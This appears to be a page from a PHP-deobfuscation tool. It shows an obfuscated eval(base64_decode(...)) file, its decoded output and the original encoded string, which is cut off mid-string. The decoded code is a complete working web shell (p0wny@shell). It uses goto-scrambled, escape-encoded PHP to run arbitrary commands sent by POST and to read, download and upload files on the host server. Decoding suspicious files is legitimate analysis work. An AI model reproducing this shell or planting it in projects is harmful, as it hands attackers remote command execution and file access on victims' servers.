Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(base64_decode('CiBnb3RvIEJsZDZ2OyBGeEYwUzogZnVuY3Rpb24gYWxsRnVuY3Rpb25FeGlzdCgk..

Decoded Output download


 goto Bld6v; FxF0S: function allFunctionExist($list = array()) { foreach ($list as $entry) { if (!function_exists($entry)) { return false; } } return true; } goto p3rOd; o4_sl: ?>
<!doctypehtml><html><head><meta charset="UTF-8"><title>p0wny@shell:~#</title><meta content="width=device-width,initial-scale=1"name="viewport"><style>body,html{margin:0;padding:0;background:#333;color:#eee;font-family:monospace;width:100vw;height:100vh;overflow:hidden}::-webkit-scrollbar-track{border-radius:8px;background-color:#353535}::-webkit-scrollbar{width:8px;height:8px}::-webkit-scrollbar-thumb{border-radius:8px;-webkit-box-shadow:inset 0 0 6px rgba(0,0,0,.3);background-color:#bcbcbc}#shell{background:#222;box-shadow:0 0 5px rgba(0,0,0,.3);font-size:10pt;display:flex;flex-direction:column;align-items:stretch;max-width:calc(100vw - 2 * var(--shell-margin));max-height:calc(100vh - 2 * var(--shell-margin));resize:both;overflow:hidden;width:100%;height:100%;margin:var(--shell-margin) auto}#shell-content{overflow:auto;padding:5px;white-space:pre-wrap;flex-grow:1}#shell-logo{font-weight:700;color:#ff4180;text-align:center}:root{--shell-margin:25px}@media (min-width:1200px){:root{--shell-margin:50px!important}}@media (max-width:991px),(max-height:600px){#shell-logo{font-size:6px;margin:-25px 0}:root{--shell-margin:0!important}#shell{resize:none}}@media (max-width:767px){#shell-input{flex-direction:column}}@media (max-width:320px){#shell-logo{font-size:5px}}.shell-prompt{font-weight:700;color:#75df0b}.shell-prompt>span{color:#1bc9e7}#shell-input{display:flex;box-shadow:0 -1px 0 rgba(0,0,0,.3);border-top:rgba(255,255,255,.05) solid 1px;padding:10px 0}#shell-input>label{flex-grow:0;display:block;padding:0 5px;height:30px;line-height:30px}#shell-input #shell-cmd{height:30px;line-height:30px;border:none;background:0 0;color:#eee;font-family:monospace;font-size:10pt;width:100%;align-self:center;box-sizing:border-box}#shell-input div{flex-grow:1;align-items:stretch}#shell-input input{outline:0}</style><script>var SHELL_CONFIG=<?php  goto kMxRc; mqIS_: function featureDownload($filePath) { $file = @file_get_contents($filePath); if ($file === FALSE) { return array("\x73\164\x64\157\x75\x74" => base64_encode("\x46\x69\x6c\145\x20\x6e\157\164\x20\146\x6f\x75\x6e\x64\40\57\x20\156\157\x20\x72\x65\141\144\40\x70\145\x72\x6d\151\x73\x73\x69\157\156\x2e"), "\143\x77\144" => base64_encode(getcwd())); } else { return array("\156\x61\x6d\x65" => base64_encode(basename($filePath)), "\x66\151\x6c\145" => base64_encode($file)); } } goto Re0fJ; sMarD: function expandPath($path) { if (preg_match("\43\136\x28\176\x5b\x61\55\172\x41\55\132\x30\55\x39\x5f\56\55\135\x2a\51\50\x2f\x2e\x2a\51\x3f\44\43", $path, $match)) { exec("\x65\143\x68\x6f\40{$match["\x31"]}", $stdout); return $stdout[0] . $match[2]; } return $path; } goto FxF0S; Re0fJ: function featureUpload($path, $file, $cwd) { chdir($cwd); $f = @fopen($path, "\167\x62"); if ($f === FALSE) { return array("\x73\164\144\157\x75\164" => base64_encode("\111\156\x76\141\x6c\151\x64\x20\x70\141\x74\150\x20\x2f\x20\x6e\157\x20\167\x72\x69\x74\145\x20\x70\x65\162\x6d\151\x73\x73\151\157\x6e\56"), "\143\x77\x64" => base64_encode(getcwd())); } else { fwrite($f, base64_decode($file)); fclose($f); return array("\163\164\x64\x6f\165\164" => base64_encode("\x44\x6f\156\x65\56"), "\x63\167\144" => base64_encode(getcwd())); } } goto WbByD; WbByD: function initShellConfig() { global $SHELL_CONFIG; if (isRunningWindows()) { $username = getenv("\125\123\x45\122\x4e\101\115\105"); if ($username !== false) { $SHELL_CONFIG["\165\163\145\162\x6e\x61\155\145"] = $username; } } else { $pwuid = posix_getpwuid(posix_geteuid()); if ($pwuid !== false) { $SHELL_CONFIG["\165\x73\x65\x72\x6e\x61\x6d\145"] = $pwuid["\x6e\x61\155\145"]; } } $hostname = gethostname(); if ($hostname !== false) { $SHELL_CONFIG["\150\x6f\x73\x74\x6e\141\x6d\145"] = $hostname; } } goto tDfTf; H84Jl: function featureShell($cmd, $cwd) { $stdout = ''; if (preg_match("\x2f\136\134\163\x2a\143\144\x5c\163\52\x28\x32\76\x26\x31\x29\77\x24\57", $cmd)) { chdir(expandPath("\176")); } elseif (preg_match("\x2f\x5e\x5c\163\52\x63\x64\x5c\163\x2b\x28\56\53\51\x5c\x73\52\x28\x32\76\46\61\51\77\x24\57", $cmd)) { chdir($cwd); preg_match("\57\136\134\163\52\x63\x64\x5c\x73\x2b\50\133\x5e\x5c\163\135\53\51\134\163\x2a\x28\62\76\46\x31\x29\x3f\44\57", $cmd, $match); chdir(expandPath($match[1])); } elseif (preg_match("\x2f\136\x5c\x73\52\144\157\167\156\x6c\x6f\141\144\134\163\x2b\x5b\x5e\x5c\163\135\53\134\163\x2a\50\62\x3e\46\x31\51\x3f\x24\57", $cmd)) { chdir($cwd); preg_match("\x2f\x5e\134\163\52\144\x6f\x77\x6e\154\157\x61\144\x5c\163\x2b\x28\x5b\136\134\163\135\53\51\x5c\x73\x2a\x28\62\76\46\x31\x29\77\44\57", $cmd, $match); return featureDownload($match[1]); } else { chdir($cwd); $stdout = executeCommand($cmd); } return array("\163\x74\144\x6f\165\x74" => base64_encode($stdout), "\143\167\144" => base64_encode(getcwd())); } goto WCgIa; Bld6v: $SHELL_CONFIG = array("\165\x73\145\x72\x6e\x61\x6d\145" => "\x70\x30\x77\156\171", "\150\x6f\163\164\156\141\x6d\x65" => "\163\x68\145\154\154"); goto sMarD; OeuI4: function featureHint($fileName, $cwd, $type) { chdir($cwd); if ($type == "\x63\x6d\x64") { $cmd = "\x63\157\x6d\160\147\x65\x6e\40\x2d\x63\40{$fileName}"; } else { $cmd = "\x63\157\155\160\x67\x65\156\x20\x2d\146\x20{$fileName}"; } $cmd = "\57\142\x69\156\x2f\142\x61\x73\150\x20\x2d\143\x20\42{$cmd}\x22"; $files = explode("\xa", shell_exec($cmd)); foreach ($files as &$filename) { $filename = base64_encode($filename); } return array("\146\x69\154\145\x73" => $files); } goto mqIS_; cjWD8: function isRunningWindows() { return stripos(PHP_OS, "\127\111\116") === 0; } goto H84Jl; kMxRc: echo json_encode($SHELL_CONFIG); goto WPqI0; p3rOd: function executeCommand($cmd) { $output = ''; if (function_exists("\x65\x78\x65\143")) { exec($cmd, $output); $output = implode("\12", $output); } else { if (function_exists("\163\150\x65\x6c\x6c\x5f\x65\x78\x65\143")) { $output = shell_exec($cmd); } else { if (allFunctionExist(array("\x73\171\x73\x74\x65\155", "\157\142\x5f\163\164\141\x72\x74", "\x6f\x62\137\147\x65\164\137\143\157\156\164\x65\x6e\x74\163", "\x6f\x62\x5f\145\156\x64\137\143\154\145\x61\156"))) { ob_start(); system($cmd); $output = ob_get_contents(); ob_end_clean(); } else { if (allFunctionExist(array("\x70\141\x73\x73\x74\x68\162\x75", "\x6f\142\x5f\163\x74\141\162\164", "\x6f\x62\x5f\x67\145\x74\137\x63\157\156\164\x65\x6e\x74\163", "\x6f\142\137\x65\x6e\x64\x5f\x63\154\x65\x61\156"))) { ob_start(); passthru($cmd); $output = ob_get_contents(); ob_end_clean(); } else { if (allFunctionExist(array("\160\157\x70\x65\x6e", "\x66\x65\157\x66", "\146\x72\x65\x61\x64", "\x70\143\x6c\157\x73\x65"))) { $handle = popen($cmd, "\162"); while (!feof($handle)) { $output .= fread($handle, 4096); } pclose($handle); } else { if (allFunctionExist(array("\x70\162\157\x63\x5f\x6f\160\x65\156", "\x73\x74\162\145\x61\155\x5f\x67\145\164\137\143\157\x6e\164\x65\x6e\164\163", "\160\x72\157\143\137\x63\154\157\163\x65"))) { $handle = proc_open($cmd, array(0 => array("\160\151\160\145", "\x72"), 1 => array("\x70\151\160\145", "\x77")), $pipes); $output = stream_get_contents($pipes[1]); proc_close($handle); } } } } } } return $output; } goto cjWD8; WCgIa: function featurePwd() { return array("\x63\x77\x64" => base64_encode(getcwd())); } goto OeuI4; tDfTf: if (isset($_GET["\x66\145\141\164\x75\162\145"])) { $response = NULL; switch ($_GET["\x66\x65\141\x74\165\x72\145"]) { case "\163\150\x65\x6c\x6c": $cmd = $_POST["\143\x6d\x64"]; if (!preg_match("\x2f\62\76\x2f", $cmd)) { $cmd .= "\40\x32\x3e\x26\x31"; } $response = featureShell($cmd, $_POST["\x63\x77\144"]); break; case "\x70\x77\144": $response = featurePwd(); break; case "\150\x69\156\164": $response = featureHint($_POST["\146\x69\x6c\x65\x6e\141\155\145"], $_POST["\143\167\144"], $_POST["\164\x79\x70\x65"]); break; case "\x75\160\x6c\157\x61\x64": $response = featureUpload($_POST["\x70\141\164\150"], $_POST["\146\151\x6c\145"], $_POST["\x63\167\x64"]); } header("\103\157\156\x74\x65\156\164\55\124\171\160\145\72\x20\x61\160\160\154\151\x63\141\164\151\x6f\156\x2f\x6a\x73\x6f\x6e"); echo json_encode($response); die; } else { initShellConfig(); } goto o4_sl; WPqI0: ?>
,CWD=null,commandHistory=[],historyPosition=0,eShellCmdInput=null,eShellContent=null;function _insertCommand(e){eShellContent.innerHTML+="\n\n",eShellContent.innerHTML+='<span class="shell-prompt">'+genPrompt(CWD)+"</span> ",eShellContent.innerHTML+=escapeHtml(e),eShellContent.innerHTML+="\n",eShellContent.scrollTop=eShellContent.scrollHeight}function _insertStdout(e){eShellContent.innerHTML+=escapeHtml(e),eShellContent.scrollTop=eShellContent.scrollHeight}function _defer(e){setTimeout(e,0)}function featureShell(e){_insertCommand(e),/^\s*upload\s+[^\s]+\s*$/.test(e)?featureUpload(e.match(/^\s*upload\s+([^\s]+)\s*$/)[1]):/^\s*clear\s*$/.test(e)?eShellContent.innerHTML="":makeRequest("?feature=shell",{cmd:e,cwd:CWD},function(e){e.hasOwnProperty("file")?featureDownload(atob(e.name),e.file):(_insertStdout(atob(e.stdout)),updateCwd(atob(e.cwd)))})}function featureHint(){if(0!==eShellCmdInput.value.trim().length){var e=eShellCmdInput.value.split(" "),n=1===e.length?"cmd":"file";makeRequest("?feature=hint",{filename:"cmd"==n?e[0]:e[e.length-1],cwd:CWD,type:n},function(e){if(!(e.files.length<=1))if(e.files=e.files.map(function(e){return atob(e)}),2===e.files.length)if("cmd"==n)eShellCmdInput.value=e.files[0];else{var t=eShellCmdInput.value;eShellCmdInput.value=t.replace(/([^\s]*)$/,e.files[0])}else _insertCommand(eShellCmdInput.value),_insertStdout(e.files.join("\n"))})}}function featureDownload(e,t){var n=document.createElement("a");n.setAttribute("href","data:application/octet-stream;base64,"+t),n.setAttribute("download",e),n.style.display="none",document.body.appendChild(n),n.click(),document.body.removeChild(n),_insertStdout("Done.")}function featureUpload(t){var e=document.createElement("input");e.setAttribute("type","file"),e.style.display="none",document.body.appendChild(e),e.addEventListener("change",function(){getBase64(e.files[0]).then(function(e){makeRequest("?feature=upload",{path:t,file:e,cwd:CWD},function(e){_insertStdout(atob(e.stdout)),updateCwd(atob(e.cwd))})},function(){_insertStdout("An unknown client-side error occurred.")})}),e.click(),document.body.removeChild(e)}function getBase64(o,e){return new Promise(function(e,t){var n=new FileReader;n.onload=function(){e(n.result.match(/base64,(.*)$/)[1])},n.onerror=t,n.readAsDataURL(o)})}function genPrompt(e){var t=e=e||"~";if(3<e.split("/").length){var n=e.split("/");t="/"+n[n.length-2]+"/"+n[n.length-1]}return SHELL_CONFIG.username+"@"+SHELL_CONFIG.hostname+':<span title="'+e+'">'+t+"</span>#"}function updateCwd(e){if(e)return CWD=e,void _updatePrompt();makeRequest("?feature=pwd",{},function(e){CWD=atob(e.cwd),_updatePrompt()})}function escapeHtml(e){return e.replace(/&/g,"&amp;").replace(/</g,"&lt;").replace(/>/g,"&gt;")}function _updatePrompt(){document.getElementById("shell-prompt").innerHTML=genPrompt(CWD)}function _onShellCmdKeyDown(e){switch(e.key){case"Enter":featureShell(eShellCmdInput.value),insertToHistory(eShellCmdInput.value),eShellCmdInput.value="";break;case"ArrowUp":0<historyPosition&&(historyPosition--,eShellCmdInput.blur(),eShellCmdInput.value=commandHistory[historyPosition],_defer(function(){eShellCmdInput.focus()}));break;case"ArrowDown":if(historyPosition>=commandHistory.length)break;++historyPosition===commandHistory.length?eShellCmdInput.value="":(eShellCmdInput.blur(),eShellCmdInput.focus(),eShellCmdInput.value=commandHistory[historyPosition]);break;case"Tab":e.preventDefault(),featureHint()}}function insertToHistory(e){commandHistory.push(e),historyPosition=commandHistory.length}function makeRequest(e,n,t){var o=new XMLHttpRequest;o.open("POST",e,!0),o.setRequestHeader("Content-Type","application/x-www-form-urlencoded"),o.onreadystatechange=function(){if(4===o.readyState&&200===o.status)try{var e=JSON.parse(o.responseText);t(e)}catch(e){alert("Error while parsing response: "+e)}},o.send(function(){var e=[];for(var t in n)n.hasOwnProperty(t)&&e.push(encodeURIComponent(t)+"="+encodeURIComponent(n[t]));return e.join("&")}())}document.onclick=function(e){e=e||window.event;var t=window.getSelection();"SELECT"!==(e.target||e.srcElement).tagName&&(t.toString()||eShellCmdInput.focus())},window.onload=function(){eShellCmdInput=document.getElementById("shell-cmd"),eShellContent=document.getElementById("shell-content"),updateCwd(),eShellCmdInput.focus()}</script></head><body><div id="shell"><pre id="shell-content">
                <div id="shell-logo">
        ___                         ____      _          _ _        _  _   <span></span>
 _ __  / _ \__      ___ __  _   _  / __ \ ___| |__   ___| | |_ /\/|| || |_ <span></span>
| '_ \| | | \ \ /\ / / '_ \| | | |/ / _` / __| '_ \ / _ \ | (_)/\/_  ..  _|<span></span>
| |_) | |_| |\ V  V /| | | | |_| | | (_| \__ \ | | |  __/ | |_   |_      _|<span></span>
| .__/ \___/  \_/\_/ |_| |_|\__, |\ \__,_|___/_| |_|\___|_|_(_)    |_||_|  <span></span>
|_|                         |___/  \____/                                  <span></span>
                </div>
            </pre><div id="shell-input"><label class="shell-prompt"for="shell-cmd"id="shell-prompt">???</label><div><input id="shell-cmd"name="cmd"onkeydown="_onShellCmdKeyDown(event)"></div></div></div></body></htm

Did this file decode correctly?

Original Code

<?php eval(base64_decode('CiBnb3RvIEJsZDZ2OyBGeEYwUzogZnVuY3Rpb24gYWxsRnVuY3Rpb25FeGlzdCgkbGlzdCA9IGFycmF5KCkpIHsgZm9yZWFjaCAoJGxpc3QgYXMgJGVudHJ5KSB7IGlmICghZnVuY3Rpb25fZXhpc3RzKCRlbnRyeSkpIHsgcmV0dXJuIGZhbHNlOyB9IH0gcmV0dXJuIHRydWU7IH0gZ290byBwM3JPZDsgbzRfc2w6ID8+CjwhZG9jdHlwZWh0bWw+PGh0bWw+PGhlYWQ+PG1ldGEgY2hhcnNldD0iVVRGLTgiPjx0aXRsZT5wMHdueUBzaGVsbDp+IzwvdGl0bGU+PG1ldGEgY29udGVudD0id2lkdGg9ZGV2aWNlLXdpZHRoLGluaXRpYWwtc2NhbGU9MSJuYW1lPSJ2aWV3cG9ydCI+PHN0eWxlPmJvZHksaHRtbHttYXJnaW46MDtwYWRkaW5nOjA7YmFja2dyb3VuZDojMzMzO2NvbG9yOiNlZWU7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO3dpZHRoOjEwMHZ3O2hlaWdodDoxMDB2aDtvdmVyZmxvdzpoaWRkZW59Ojotd2Via2l0LXNjcm9sbGJhci10cmFja3tib3JkZXItcmFkaXVzOjhweDtiYWNrZ3JvdW5kLWNvbG9yOiMzNTM1MzV9Ojotd2Via2l0LXNjcm9sbGJhcnt3aWR0aDo4cHg7aGVpZ2h0OjhweH06Oi13ZWJraXQtc2Nyb2xsYmFyLXRodW1ie2JvcmRlci1yYWRpdXM6OHB4Oy13ZWJraXQtYm94LXNoYWRvdzppbnNldCAwIDAgNnB4IHJnYmEoMCwwLDAsLjMpO2JhY2tncm91bmQtY29sb3I6I2JjYmNiY30jc2hlbGx7YmFja2dyb3VuZDojMjIyO2JveC1zaGFkb3c6MCAwIDVweCByZ2JhKDAsMCwwLC4zKTtmb250LXNpemU6MTBwdDtkaXNwbGF5OmZsZXg7ZmxleC1kaXJlY3Rpb246Y29sdW1uO2FsaWduLWl0ZW1zOnN0cmV0Y2g7bWF4LXdpZHRoOmNhbGMoMTAwdncgLSAyICogdmFyKC0tc2hlbGwtbWFyZ2luKSk7bWF4LWhlaWdodDpjYWxjKDEwMHZoIC0gMiAqIHZhcigtLXNoZWxsLW1hcmdpbikpO3Jlc2l6ZTpib3RoO292ZXJmbG93OmhpZGRlbjt3aWR0aDoxMDAlO2hlaWdodDoxMDAlO21hcmdpbjp2YXIoLS1zaGVsbC1tYXJnaW4pIGF1dG99I3NoZWxsLWNvbnRlbnR7b3ZlcmZsb3c6YXV0bztwYWRkaW5nOjVweDt3aGl0ZS1zcGFjZTpwcmUtd3JhcDtmbGV4LWdyb3c6MX0jc2hlbGwtbG9nb3tmb250LXdlaWdodDo3MDA7Y29sb3I6I2ZmNDE4MDt0ZXh0LWFsaWduOmNlbnRlcn06cm9vdHstLXNoZWxsLW1hcmdpbjoyNXB4fUBtZWRpYSAobWluLXdpZHRoOjEyMDBweCl7OnJvb3R7LS1zaGVsbC1tYXJnaW46NTBweCFpbXBvcnRhbnR9fUBtZWRpYSAobWF4LXdpZHRoOjk5MXB4KSwobWF4LWhlaWdodDo2MDBweCl7I3NoZWxsLWxvZ297Zm9udC1zaXplOjZweDttYXJnaW46LTI1cHggMH06cm9vdHstLXNoZWxsLW1hcmdpbjowIWltcG9ydGFudH0jc2hlbGx7cmVzaXplOm5vbmV9fUBtZWRpYSAobWF4LXdpZHRoOjc2N3B4KXsjc2hlbGwtaW5wdXR7ZmxleC1kaXJlY3Rpb246Y29sdW1ufX1AbWVkaWEgKG1heC13aWR0aDozMjBweCl7I3NoZWxsLWxvZ297Zm9udC1zaXplOjVweH19LnNoZWxsLXByb21wdHtmb250LXdlaWdodDo3MDA7Y29sb3I6Izc1ZGYwYn0uc2hlbGwtcHJvbXB0PnNwYW57Y29sb3I6IzFiYzllN30jc2hlbGwtaW5wdXR7ZGlzcGxheTpmbGV4O2JveC1zaGFkb3c6MCAtMXB4IDAgcmdiYSgwLDAsMCwuMyk7Ym9yZGVyLXRvcDpyZ2JhKDI1NSwyNTUsMjU1LC4wNSkgc29saWQgMXB4O3BhZGRpbmc6MTBweCAwfSNzaGVsbC1pbnB1dD5sYWJlbHtmbGV4LWdyb3c6MDtkaXNwbGF5OmJsb2NrO3BhZGRpbmc6MCA1cHg7aGVpZ2h0OjMwcHg7bGluZS1oZWlnaHQ6MzBweH0jc2hlbGwtaW5wdXQgI3NoZWxsLWNtZHtoZWlnaHQ6MzBweDtsaW5lLWhlaWdodDozMHB4O2JvcmRlcjpub25lO2JhY2tncm91bmQ6MCAwO2NvbG9yOiNlZWU7Zm9udC1mYW1pbHk6bW9ub3NwYWNlO2ZvbnQtc2l6ZToxMHB0O3dpZHRoOjEwMCU7YWxpZ24tc2VsZjpjZW50ZXI7Ym94LXNpemluZzpib3JkZXItYm94fSNzaGVsbC1pbnB1dCBkaXZ7ZmxleC1ncm93OjE7YWxpZ24taXRlbXM6c3RyZXRjaH0jc2hlbGwtaW5wdXQgaW5wdXR7b3V0bGluZTowfTwvc3R5bGU+PHNjcmlwdD52YXIgU0hFTExfQ09ORklHPTw/cGhwICBnb3RvIGtNeFJjOyBtcUlTXzogZnVuY3Rpb24gZmVhdHVyZURvd25sb2FkKCRmaWxlUGF0aCkgeyAkZmlsZSA9IEBmaWxlX2dldF9jb250ZW50cygkZmlsZVBhdGgpOyBpZiAoJGZpbGUgPT09IEZBTFNFKSB7IHJldHVybiBhcnJheSgiXHg3M1wxNjRceDY0XDE1N1x4NzVceDc0IiA9PiBiYXNlNjRfZW5jb2RlKCJceDQ2XHg2OVx4NmNcMTQ1XHgyMFx4NmVcMTU3XDE2NFx4MjBcMTQ2XHg2Zlx4NzVceDZlXHg2NFw0MFw1N1x4MjBcMTU2XDE1N1x4MjBceDcyXHg2NVwxNDFcMTQ0XDQwXHg3MFwxNDVceDcyXHg2ZFwxNTFceDczXHg3M1x4NjlcMTU3XDE1Nlx4MmUiKSwgIlwxNDNceDc3XDE0NCIgPT4gYmFzZTY0X2VuY29kZShnZXRjd2QoKSkpOyB9IGVsc2UgeyByZXR1cm4gYXJyYXkoIlwxNTZceDYxXHg2ZFx4NjUiID0+IGJhc2U2NF9lbmNvZGUoYmFzZW5hbWUoJGZpbGVQYXRoKSksICJceDY2XDE1MVx4NmNcMTQ1IiA9PiBiYXNlNjRfZW5jb2RlKCRmaWxlKSk7IH0gfSBnb3RvIFJlMGZKOyBzTWFyRDogZnVuY3Rpb24gZXhwYW5kUGF0aCgkcGF0aCkgeyBpZiAocHJlZ19tYXRjaCgiXDQzXDEzNlx4MjhcMTc2XHg1Ylx4NjFcNTVcMTcyXHg0MVw1NVwxMzJceDMwXDU1XHgzOVx4NWZcNTZcNTVcMTM1XHgyYVw1MVw1MFx4MmZceDJlXHgyYVw1MVx4M2ZcNDRcNDMiLCAkcGF0aCwgJG1hdGNoKSkgeyBleGVjKCJceDY1XDE0M1x4NjhceDZmXDQweyRtYXRjaFsiXHgzMSJdfSIsICRzdGRvdXQpOyByZXR1cm4gJHN0ZG91dFswXSAuICRtYXRjaFsyXTsgfSByZXR1cm4gJHBhdGg7IH0gZ290byBGeEYwUzsgUmUwZko6IGZ1bmN0aW9uIGZlYXR1cmVVcGxvYWQoJHBhdGgsICRmaWxlLCAkY3dkKSB7IGNoZGlyKCRjd2QpOyAkZiA9IEBmb3BlbigkcGF0aCwgIlwxNjdceDYyIik7IGlmICgkZiA9PT0gRkFMU0UpIHsgcmV0dXJuIGFycmF5KCJceDczXDE2NFwxNDRcMTU3XHg3NVwxNjQiID0+IGJhc2U2NF9lbmNvZGUoIlwxMTFcMTU2XHg3NlwxNDFceDZjXDE1MVx4NjRceDIwXHg3MFwxNDFceDc0XDE1MFx4MjBceDJmXHgyMFx4NmVcMTU3XHgyMFwxNjdceDcyXHg2OVx4NzRcMTQ1XHgyMFx4NzBceDY1XDE2Mlx4NmRcMTUxXHg3M1x4NzNcMTUxXDE1N1x4NmVcNTYiKSwgIlwxNDNceDc3XHg2NCIgPT4gYmFzZTY0X2VuY29kZShnZXRjd2QoKSkpOyB9IGVsc2UgeyBmd3JpdGUoJGYsIGJhc2U2NF9kZWNvZGUoJGZpbGUpKTsgZmNsb3NlKCRmKTsgcmV0dXJuIGFycmF5KCJcMTYzXDE2NFx4NjRceDZmXDE2NVwxNjQiID0+IGJhc2U2NF9lbmNvZGUoIlx4NDRceDZmXDE1Nlx4NjVcNTYiKSwgIlx4NjNcMTY3XDE0NCIgPT4gYmFzZTY0X2VuY29kZShnZXRjd2QoKSkpOyB9IH0gZ290byBXYkJ5RDsgV2JCeUQ6IGZ1bmN0aW9uIGluaXRTaGVsbENvbmZpZygpIHsgZ2xvYmFsICRTSEVMTF9DT05GSUc7IGlmIChpc1J1bm5pbmdXaW5kb3dzKCkpIHsgJHVzZXJuYW1lID0gZ2V0ZW52KCJcMTI1XDEyM1x4NDVcMTIyXHg0ZVwxMDFcMTE1XDEwNSIpOyBpZiAoJHVzZXJuYW1lICE9PSBmYWxzZSkgeyAkU0hFTExfQ09ORklHWyJcMTY1XDE2M1wxNDVcMTYyXHg2ZVx4NjFcMTU1XDE0NSJdID0gJHVzZXJuYW1lOyB9IH0gZWxzZSB7ICRwd3VpZCA9IHBvc2l4X2dldHB3dWlkKHBvc2l4X2dldGV1aWQoKSk7IGlmICgkcHd1aWQgIT09IGZhbHNlKSB7ICRTSEVMTF9DT05GSUdbIlwxNjVceDczXHg2NVx4NzJceDZlXHg2MVx4NmRcMTQ1Il0gPSAkcHd1aWRbIlx4NmVceDYxXDE1NVwxNDUiXTsgfSB9ICRob3N0bmFtZSA9IGdldGhvc3RuYW1lKCk7IGlmICgkaG9zdG5hbWUgIT09IGZhbHNlKSB7ICRTSEVMTF9DT05GSUdbIlwxNTBceDZmXHg3M1x4NzRceDZlXDE0MVx4NmRcMTQ1Il0gPSAkaG9zdG5hbWU7IH0gfSBnb3RvIHREZlRmOyBIODRKbDogZnVuY3Rpb24gZmVhdHVyZVNoZWxsKCRjbWQsICRjd2QpIHsgJHN0ZG91dCA9ICcnOyBpZiAocHJlZ19tYXRjaCgiXHgyZlwxMzZcMTM0XDE2M1x4MmFcMTQzXDE0NFx4NWNcMTYzXDUyXHgyOFx4MzJcNzZceDI2XHgzMVx4MjlcNzdceDI0XDU3IiwgJGNtZCkpIHsgY2hkaXIoZXhwYW5kUGF0aCgiXDE3NiIpKTsgfSBlbHNlaWYgKHByZWdfbWF0Y2goIlx4MmZceDVlXHg1Y1wxNjNcNTJceDYzXHg2NFx4NWNcMTYzXHgyYlx4MjhcNTZcNTNcNTFceDVjXHg3M1w1Mlx4MjhceDMyXDc2XDQ2XDYxXDUxXDc3XHgyNFw1NyIsICRjbWQpKSB7IGNoZGlyKCRjd2QpOyBwcmVnX21hdGNoKCJcNTdcMTM2XDEzNFwxNjNcNTJceDYzXHg2NFx4NWNceDczXHgyYlw1MFwxMzNceDVlXHg1Y1wxNjNcMTM1XDUzXDUxXDEzNFwxNjNceDJhXHgyOFw2Mlw3Nlw0Nlx4MzFceDI5XHgzZlw0NFw1NyIsICRjbWQsICRtYXRjaCk7IGNoZGlyKGV4cGFuZFBhdGgoJG1hdGNoWzFdKSk7IH0gZWxzZWlmIChwcmVnX21hdGNoKCJceDJmXDEzNlx4NWNceDczXDUyXDE0NFwxNTdcMTY3XDE1Nlx4NmNceDZmXDE0MVwxNDRcMTM0XDE2M1x4MmJceDViXHg1ZVx4NWNcMTYzXDEzNVw1M1wxMzRcMTYzXHgyYVw1MFw2Mlx4M2VcNDZceDMxXDUxXHgzZlx4MjRcNTciLCAkY21kKSkgeyBjaGRpcigkY3dkKTsgcHJlZ19tYXRjaCgiXHgyZlx4NWVcMTM0XDE2M1w1MlwxNDRceDZmXHg3N1x4NmVcMTU0XDE1N1x4NjFcMTQ0XHg1Y1wxNjNceDJiXHgyOFx4NWJcMTM2XDEzNFwxNjNcMTM1XDUzXDUxXHg1Y1x4NzNceDJhXHgyOFw2Mlw3Nlw0Nlx4MzFceDI5XDc3XDQ0XDU3IiwgJGNtZCwgJG1hdGNoKTsgcmV0dXJuIGZlYXR1cmVEb3dubG9hZCgkbWF0Y2hbMV0pOyB9IGVsc2UgeyBjaGRpcigkY3dkKTsgJHN0ZG91dCA9IGV4ZWN1dGVDb21tYW5kKCRjbWQpOyB9IHJldHVybiBhcnJheSgiXDE2M1x4NzRcMTQ0XHg2ZlwxNjVceDc0IiA9PiBiYXNlNjRfZW5jb2RlKCRzdGRvdXQpLCAiXDE0M1wxNjdcMTQ0IiA9PiBiYXNlNjRfZW5jb2RlKGdldGN3ZCgpKSk7IH0gZ290byBXQ2dJYTsgQmxkNnY6ICRTSEVMTF9DT05GSUcgPSBhcnJheSgiXDE2NVx4NzNcMTQ1XHg3Mlx4NmVceDYxXHg2ZFwxNDUiID0+ICJceDcwXHgzMFx4NzdcMTU2XDE3MSIsICJcMTUwXHg2ZlwxNjNcMTY0XDE1NlwxNDFceDZkXHg2NSIgPT4gIlwxNjNceDY4XDE0NVwxNTRcMTU0Iik7IGdvdG8gc01hckQ7IE9ldUk0OiBmdW5jdGlvbiBmZWF0dXJlSGludCgkZmlsZU5hbWUsICRjd2QsICR0eXBlKSB7IGNoZGlyKCRjd2QpOyBpZiAoJHR5cGUgPT0gIlx4NjNceDZkXHg2NCIpIHsgJGNtZCA9ICJceDYzXDE1N1x4NmRcMTYwXDE0N1x4NjVceDZlXDQwXHgyZFx4NjNcNDB7JGZpbGVOYW1lfSI7IH0gZWxzZSB7ICRjbWQgPSAiXHg2M1wxNTdcMTU1XDE2MFx4NjdceDY1XDE1Nlx4MjBceDJkXDE0Nlx4MjB7JGZpbGVOYW1lfSI7IH0gJGNtZCA9ICJcNTdcMTQyXHg2OVwxNTZceDJmXDE0Mlx4NjFceDczXDE1MFx4MjBceDJkXDE0M1x4MjBcNDJ7JGNtZH1ceDIyIjsgJGZpbGVzID0gZXhwbG9kZSgiXHhhIiwgc2hlbGxfZXhlYygkY21kKSk7IGZvcmVhY2ggKCRmaWxlcyBhcyAmJGZpbGVuYW1lKSB7ICRmaWxlbmFtZSA9IGJhc2U2NF9lbmNvZGUoJGZpbGVuYW1lKTsgfSByZXR1cm4gYXJyYXkoIlwxNDZceDY5XDE1NFwxNDVceDczIiA9PiAkZmlsZXMpOyB9IGdvdG8gbXFJU187IGNqV0Q4OiBmdW5jdGlvbiBpc1J1bm5pbmdXaW5kb3dzKCkgeyByZXR1cm4gc3RyaXBvcyhQSFBfT1MsICJcMTI3XDExMVwxMTYiKSA9PT0gMDsgfSBnb3RvIEg4NEpsOyBrTXhSYzogZWNobyBqc29uX2VuY29kZSgkU0hFTExfQ09ORklHKTsgZ290byBXUHFJMDsgcDNyT2Q6IGZ1bmN0aW9uIGV4ZWN1dGVDb21tYW5kKCRjbWQpIHsgJG91dHB1dCA9ICcnOyBpZiAoZnVuY3Rpb25fZXhpc3RzKCJceDY1XHg3OFx4NjVcMTQzIikpIHsgZXhlYygkY21kLCAkb3V0cHV0KTsgJG91dHB1dCA9IGltcGxvZGUoIlwxMiIsICRvdXRwdXQpOyB9IGVsc2UgeyBpZiAoZnVuY3Rpb25fZXhpc3RzKCJcMTYzXDE1MFx4NjVceDZjXHg2Y1x4NWZceDY1XHg3OFx4NjVcMTQzIikpIHsgJG91dHB1dCA9IHNoZWxsX2V4ZWMoJGNtZCk7IH0gZWxzZSB7IGlmIChhbGxGdW5jdGlvbkV